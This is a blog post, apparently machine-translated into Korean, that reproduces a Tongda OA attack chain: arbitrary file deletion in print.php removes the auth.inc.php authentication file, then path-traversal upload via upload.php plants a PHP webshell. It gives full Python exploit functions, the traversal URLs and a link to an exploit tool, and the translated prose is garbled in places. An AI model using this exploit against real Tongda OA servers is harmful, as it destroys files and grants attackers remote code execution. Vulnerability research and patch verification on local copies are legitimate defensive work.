통다 OA 임의 파일 삭제 / OA 무단 접근 + 임의 파일 업로드 RCE 취약성 재현

0x00 소개

Tongda OA는 웹 기반 엔터프라이즈 컴퓨팅을 사용하고, 메인 HTTP 서버는 안정적이고 안정적인 성능을 갖춘 세계에서 가장 진보 된 Apache 서버를 사용합니다. 데이터 액세스의 중앙 집중식 제어는 데이터 유출 가능성을 방지합니다. 시스템 데이터 보안을 보호하기위한 데이터 백업 도구를 제공합니다. 다단계 권한 제어, 완전한 암호 확인 및 로그인 확인 메커니즘은 시스템 보안을 강화합니다.

오늘은 통다 OA 기사를 많이 읽고 가드 넷에 등장한 0 일을 기준으로 분석의 물결을 봤습니다 .9hu 보스에 대한 분석이 있다고 느꼈습니다. 그러면 이것을 벤치 마크로 삼아서 이 더 영향력있는 취약점을보십시오. 그런 다음 나타나는 취약점은 피상적 일 뿐이며, 이전에 다른 버전에서 감사 한 일부 취약점을 포함하여 일부 취약점은 분명히 발표되지 않은 것 같습니다. ., 여전히 개선을 계속할 필요가 있으며 앞으로도 계속해서 구멍을 뚫을 것입니다. 이것은 불가피합니다.

0x01 취약점 설명

이 취약점은 print.php에 임의 파일 삭제 취약점이 존재하기 때문입니다. 로그인 제한을 우회하기 위해 Tongda OA 신원 인증 파일 auth.inc.php를 삭제하고 임의 파일 업로드와 결합하여 RCE의 효과를 얻습니다.

0x02 영향을받는 버전

 Tongda OA <v11.5 & v11.6 버전 (모든 파일 삭제는 11.6에만 영향, 무단 액세스는 <11.5에 영향)

0x03 취약성 환경 구축

1. 다운로드 :

https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

2. Windows, OA 관리자 사용자 이름 : 관리자 암호가 비어 있습니다.

방문하려면 확인을 클릭하십시오.

OA 관리자 사용자 이름 : admin 암호가 비어 있습니다
. 해독 도구 SeayDzend를 사용하여 소스 코드를 해독합니다.

Tongda OA11.6 및 복호화 도구 :
링크 : https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARg 암호 : 77ch

0x04 취약점 재발

노트! 취약점은 서버의 파일을 삭제합니다! 신중하게 재현하십시오!

도구 다운로드 주소 :

https://github.com/admintony/TongdaRCE

스크립트를 사용하여 파일을 삭제하면 다음과 같이 로그인됩니다.

그러니 반드시 상기 시키십시오 : 네트워크 환경을 무차별 적으로 사용하지 말고 로컬 복제를 구축하십시오!

통다 11.4를 설치하고, 임의 파일 업로드 getshell과 결합 된 무단 취약점을 사용합니다.

getshell 활용 체인은 다음과 같습니다.

""" 11.6版本 getshell利用链 """
def getShellV11_6(target):
    print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
    input("Press enter to continue")
    print("[*]Deleting auth.inc.php....")
    url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
    requests.get(url=url,verify=False)
    print("[*]Checking if file deleted...")
    url=target+"/inc/auth.inc.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[-]Failed to deleted auth.inc.php")
        exit(-1)
    print("[+]Successfully deleted auth.inc.php!")
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

""" 低于11.5版本 getshell利用链 """
def getShellV11_x(target):
    cookie=getV11Session(target)
    if not cookie:
        print("[-] Failed to get Session")
        return
    headers={"Cookie":cookie+";_SERVER="}
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,headers=headers,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

0x05 취약성 분석

인터넷에 게시 된 EXP를 보면 auth.inc.php 파일이 삭제 될 것임을 알 수 있습니다.이 파일은 Tongda에서 인증을 위해 사용합니다. 로그인 액세스가 필요한 모든 파일에 포함됩니다. upload.php 포함 이 파일은 포함되어 있지만 require와는 다른 include를 통해 포함됩니다. include 파일이없는 경우 include는 프로그램이 종료되지 않습니다.

그런 다음 파일이 삭제 된 취약점 지점 /module/appbuilder/assets/print.php를 찾습니다. 간단하게, 코드의 처음 6 줄을 사용하여 임의의 파일을 삭제할 수 있습니다.

GET이 guid = .. / .. / .. / webroot / inc / auth.inc.php 값을 전달하는 한 링크를 해제하여 위에 설명 된 인증 파일을 삭제할 수 있으며 인증이 필요한 대부분의 위치는 유효하지 않게됩니다. .

upload.php의 사용을 소개하기 전에 Tongda OA의 조상 변수 범위에 대해 이야기 해 봅시다. 여기에 함정이 있습니다. 일부 복호화 도구가 $를 놓쳐서 머리카락이 키보드를 잃어 버리고 변수가 어디에 있는지 이해하지 못합니다. 파일이 common.inc.php이기 때문에 다음과 같이 생각할 수 있습니다. 대부분의 파일에는 Include가 있으며 대부분의 위치는 가변 범위로 조작 할 수 있습니다.

그런 다음 업로드 지점 /general/data_center/utils/upload.php를 찾습니다. 9 번째 줄 변수 재정의 작업은 디스크를 if에 업로드하는 것입니다. 업로드 위치는 / data_center / attachment입니다. 84 번째 줄 변수는 s_n을 악성 파일로 덮어 쓰고, s_n이 연결된 90 번째 줄 업로드 위치는 최종 파일의 위치입니다. 여기서 87 행의 repkid를 포함하는 변수는 ../../../이므로 디렉토리를 탐색 할 수 있고 말을 다른 디렉토리에 배치 할 수 있습니다.

말을 저장하기 위해 디렉토리를 다른 위치로 이동해야하는 이유는 이전 기사를 참조하십시오. Tongda OA의 nginx가 첨부 디렉토리에있는 파일의 액세스 권한을 제한하여 말을 정상적으로 구문 분석 할 수 없기 때문입니다. ~ *는 일반적인 패턴을 나타내며 PHP와 같이 첨부 파일로 시작하는 민감한 파일은 허용되지 않습니다.

0x06 수리 제안

최신 버전으로 업그레이드하십시오.

표시하십시오 : Adminxe의 블로그  »  Tongda OA 임의 파일 삭제 / OA 무단 액세스 + 임의 파일 업로드 RCE 취약성 복제

추천

출처blog.csdn.net/Adminxe/article/details/108734002